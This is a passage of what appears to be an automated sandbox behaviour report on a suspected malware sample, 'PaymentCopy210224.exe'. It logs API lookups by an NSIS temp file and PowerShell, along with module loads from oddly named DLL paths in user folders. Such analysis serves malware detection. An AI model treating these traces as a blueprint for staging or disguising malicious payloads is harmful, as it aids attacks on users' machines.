"GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005648) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter IsCharAlphaW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CharPrevW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetNetResourceFromLocalPathW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter NetShareEnum (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CscNetApiGetInterface (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SLGetWindowsInformationDWORD (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter PathRemoveFileSpecW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter _set_error_mode (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ?set_terminate@@YAP6AXXZP6AXXZ@Z (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter _get_terminate (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetLoadedByMscoree (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCLRFunction (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTraceLoggerHandle (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableLevel (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableFlags (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter TraceEvent (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter IEE (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter IEE_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RemoveVectoredContinueHandler (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetWriteWatch (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ResetWriteWatch (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateMemoryResourceNotification (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter QueryMemoryResourceNotification (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetVersionEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter lstrlen (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter lstrlenW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter lstrcpy (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter lstrcpyW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptGenKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptSignHashA (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptGetUserKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CryptEnumProvidersA (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ConvertLangIdToCultureName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4 (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter WinSqmIsOptedIn (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectory (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005476) "powershell.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00005476)2c:T930,"PaymentCopy210224.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "%APPDATA%\Microsoft\Windows\Printer Shortcuts\Selvtilstrkkelig.dll" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "%APPDATA%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "%USERPROFILE%\likingly\Hamps.dll" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" - [base:0; Status:c0000135] "PaymentCopy210224.exe" failed to load missing module "%APPDATA%\Microsoft\Windows\Printer Shortcuts\flagsmykkes\unconformable.dll" - [base:0; Status:c0000135] "nsCCE1.tmp" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "nsCCE1.tmp" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135]2d:T2ad1,"PaymentCopy210224.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 713c0000 "PaymentCopy210224.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "PaymentCopy210224.exe" loaded module "KERNEL32" at base 76130000 "PaymentCopy210224.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "PaymentCopy210224.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69d60000 "PaymentCopy210224.exe" loaded module "ADVAPI32.DLL" at base 751e0000 "PaymentCopy210224.exe" loaded module 